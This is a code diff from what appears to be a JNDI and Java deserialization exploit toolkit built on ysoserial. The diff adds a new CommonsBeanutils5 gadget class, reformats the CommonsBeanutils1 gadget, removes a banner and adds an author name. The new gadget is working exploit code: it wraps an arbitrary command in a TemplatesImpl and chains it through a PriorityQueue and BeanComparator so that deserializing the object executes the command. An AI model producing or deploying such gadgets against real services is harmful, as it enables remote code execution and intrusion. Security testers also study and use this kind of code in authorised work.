cb5

src/main/java/com/qi4l/jndi/controllers/ysoserial.java

@@ -166,12 +166,6 @@ public class ysoserial {
         System.exit(0);
     }
     private static Options getOptions() {
-        System.out.println("██╗   ██╗███████╗ ██████╗ \n" +
-                "╚██╗ ██╔╝██╔════╝██╔═══██╗\n" +
-                " ╚████╔╝ ███████╗██║   ██║\n" +
-                "  ╚██╔╝  ╚════██║██║   ██║\n" +
-                "   ██║   ███████║╚██████╔╝\n" +
-                "   ╚═╝   ╚══════╝ ╚═════╝ \n");
         Options options = new Options();
         options.addOption("y", "ysoserial", false, "Java deserialization");
         options.addOption("g", "gadget", true, "Java deserialization gadget");

src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutils1.java

@@ -15,9 +15,8 @@ public class CommonsBeanutils1 implements ObjectPayload<Object> {
     public Object getObject(String command) throws Exception {
         final Object template;
         template = Gadgets.createTemplatesImpl(command);
-        final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
-
-        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
+        final BeanComparator        comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
+        final PriorityQueue<Object> queue      = new PriorityQueue<Object>(2, comparator);
         queue.add("1");
         queue.add("1");
 

src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutils5.java

@@ -0,0 +1,39 @@
+package com.qi4l.jndi.gadgets;
+
+import com.qi4l.jndi.gadgets.annotation.Authors;
+import com.qi4l.jndi.gadgets.annotation.Dependencies;
+import com.qi4l.jndi.gadgets.utils.Gadgets;
+import com.qi4l.jndi.gadgets.utils.Reflections;
+
+import java.lang.reflect.Constructor;
+import java.lang.reflect.Method;
+import java.math.BigInteger;
+import java.net.URL;
+import java.net.URLClassLoader;
+import java.util.Comparator;
+import java.util.PriorityQueue;
+
+@Dependencies({"commons-beanutils:commons-beanutils:1.6.1"})
+@Authors({Authors.PEIQIF4CK})
+public class CommonsBeanutils5 implements ObjectPayload<Object> {
+    @Override
+    public Object getObject(String command) throws Exception {
+        final Object template;
+        template = Gadgets.createTemplatesImpl(command);
+
+        URLClassLoader      classLoader    = new URLClassLoader(new URL[]{new URL("file://libs/commons-beanutils-1.6.1.jar")}, Thread.currentThread().getContextClassLoader());
+        Class<?>            BeanComparator = classLoader.loadClass("org.apache.commons.beanutils.BeanComparator");
+        Constructor<?>      constructor    = BeanComparator.getConstructor(String.class);
+        Object              comparator     = constructor.newInstance("lowestSetBit");
+        final PriorityQueue queue          = new PriorityQueue(2, (Comparator) comparator);
+
+
+        queue.add(new BigInteger("1"));
+        queue.add(new BigInteger("1"));
+
+        Reflections.setFieldValue(comparator, "property", "outputProperties");
+        Reflections.setFieldValue(queue, "queue", new Object[]{template, template});
+
+        return queue;
+    }
+}

src/main/java/com/qi4l/jndi/gadgets/annotation/Authors.java

@@ -42,7 +42,10 @@ public @interface Authors {
 
     String ARTSPLOIT  = "artsploit";
     String CCKUAILONG = "CCKUAILONG";
+
     String QI4L       = "QI4L";
+    String PEIQIF4CK = "peiqiF4ck";
+
     String KILLER = "killer";
 
     String[] value() default {};